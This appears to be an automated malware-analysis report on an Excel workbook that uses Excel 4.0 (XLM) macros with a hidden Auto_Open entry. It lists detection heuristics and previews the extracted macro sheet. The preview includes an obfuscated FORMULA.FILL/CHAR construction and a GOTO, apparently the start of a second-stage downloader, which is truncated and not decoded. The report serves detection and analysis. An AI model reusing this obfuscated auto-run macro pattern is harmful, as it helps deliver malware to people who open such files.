MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry, which is a known method for executing malicious code upon opening the workbook. The macro uses dangerous functions like RUN and FORMULA.FILL, suggesting it attempts to execute arbitrary commands, likely to download and run a second-stage payload. The obfuscated nature of the FORMULA.FILL arguments prevents full reconstruction of the payload URL or command.
Heuristics 3
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Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
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XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FNExcel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
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Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 127009 bytes |
SHA-256: 8a8951020bab1b1658866d9ba8d9453a0017b3f3d60368aeb4e8e25897cb4e57 |
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Preview scriptFirst 1,000 lines of the extracted script
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet ' 0085 14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible - Sheet ' 0018 28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d Sheet!CM6479 ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' Sheet,Reference,Formula,Value ' Sheet,DT56,"",1.06250000000000000000 ' Sheet,JA57,"",-1.66363636363636357984 ' Sheet,HF67,"",186.00000000000000000000 ' Sheet,L80,"",0.33237094219653173788 ' Sheet,GO201,"",1.40625000000000000000 ' Sheet,GQ253,"",-0.27397260273972601219 ' Sheet,IU262,"",3.40000244140624996447 ' Sheet,F343,"",-133.00000000000000000000 ' Sheet,BZ345,"",2.58333333333333348136 ' Sheet,II347,"",-0.90990990990990994192 ' Sheet,EL392,"",3.75961538461538458122 ' Sheet,DX405,"FORMULA.FILL(CHAR(IO65144-BG26742)&CHAR(DS26744/FR5981)&CHAR(IO65144*BU13778)&CHAR(IX7166+JK61653)&CHAR(IO65144+DR15795)&CHAR(EF47446/EX20258)&CHAR(IO65144*JU13517)&CHAR(CS37710*DL2127)&CHAR(CS37710+GK44617)&CHAR(CS37710-FN64478)&CHAR(IX7166+IN17913)&CHAR(IO65144/JN39881)&CHAR(HB7105+EQ15384)&CHAR(HW63021+E19472)&CHAR(DS26744*FP3448)&CHAR(IO65144*EZ35097)&CHAR(IX7166-GL6563)&CHAR(EF47446/GK25436)&CHAR(IX7166*DR8309)&CHAR(CS37710*EA59429)&CHAR(IO65144*CF13902)&CHAR(DS26744*GO201)&CHAR(IL15337*GF62042)&CHAR(IX7166+S16337)&CHAR(IL15337+IX4147)&CHAR(IO65144/JP6021)&CHAR(CS37710*BL48975)&CHAR(K42695/IR16997)&CHAR(IO65144*IR58467)&CHAR(EH49332-ES38389)&CHAR(EF47446-DF34851)&CHAR(IL15337+V62212)&CHAR(CS37710-M4995)&CHAR(IO65144*FU58496)&CHAR(HW63021-II5389)&CHAR(EF47446-DE35747)&CHAR(CS37710+I28249)&CHAR(HB7105*BO65482)&CHAR(EH49332*JI51176)&CHAR(HB7105*BC46891)&CHAR(CS37710-DO56925)&CHAR(K42695*HA52936)&CHAR(CS37710-BD63600)&CHAR(HW63021-D12515)&CHAR(IO65144/IJ57488)&CHAR(EF47446*BT17474)&CHAR(IL15337*DK21169)&CHAR(EF47446+BN31301)&CHAR(IX7166/FF13132),HN21276)","" ' Sheet,DX406,GOTO(DX41372),"" ' Sheet,GQ412,"",60.00000000000000000000 ' Sheet,BE437,"",327.00000000000000000000 ' Sheet,IP450,"",-587.00000000000000000000 ' Sheet,JA519,"",1.54545454545454541417 ' Sheet,HJ547,"",-105.00000000000000000000 ' Sheet,G611,"",-4.61818181818181816567 ' Sheet,EZ619,"",-0.51764705882352946009 ' Sheet,IM669,"",-393.00000000000000000000 ' Sheet,BG700,"",250.00000000000000000000 ' Sheet,BI703,"",354.00000000000000000000 ' Sheet,EA780,"",-180.00000000000000000000 ' Sheet,DP782,"",2.33333333333333348136 ' Sheet,FZ834,"",90.00000000000000000000 ' Sheet,C837,"",0.30740740740740740700 ' Sheet,DT847,"",0.67924528301886788473 ' Sheet,ES872,"",-44.00000000000000000000 ' Sheet,HE876,"",-186.00000000000000000000 ' Sheet,DA944,"",-35.00000000000000000000 ' Sheet,CI995,"",-75.00000000000000000000 ' Sheet,BS1049,"",232.00000000000000000000 ' Sheet,FD1060,"",-0.15748031496062991907 ' Sheet,GE1068,"",-0.28828828828828828579 ' Sheet,JB1094,"",3.77777777777777767909 ' Sheet,GA1237,"",-1.22000061035156259770 ' Sheet,JQ1245,"",-294.00000000000000000000 ' Sheet,BD1300,"",226.00000000000000000000 ' Sheet,IP1347,"",-560.00000000000000000000 ' Sheet,HL1349,"",-235.00000000000000000000 ' Sheet,K1371,"",-159.00000000000000000000 ' Sheet,IX1382,"",22.00000000000000000000 ' Sheet,DA1434,"",-2.02000122070312482236 ' Sheet,IJ1468,"",-234.00000000000000000000 ' Sheet,HX1544,"",-121.00000000000000000000 ' Sheet,P1634,"",-220.00000000000000000000 ' Sheet,II1676,"",0.23273657289002558368 ' Sheet,EC1712,"",360.00000000000000000000 ' Sheet,EF1882,"",-0.36861313868613138078 ' Sheet,CL1899,"",6.13636363636363668661 ' Sheet,GN1902,"",0.36781609195402298340 ' Sheet,FE2006,"",-0.50819672131147541894 ' Sheet,JD2015,"",0.25925925925925924487 ' Sheet,EA2038,"",-15.00000000000000000000 ' Sheet,IG2040,"",-5.38235294117647100620 ' Sheet,V2076,"",0.45569620253164555557 ' Sheet,JF2122,"",85.00000000000000000000 ' Sheet,EC2124,"",-1.58000122070312509770 ' Sheet,DL2127,"",-1.60784313725490202174 ' Sheet, ... (truncated) |
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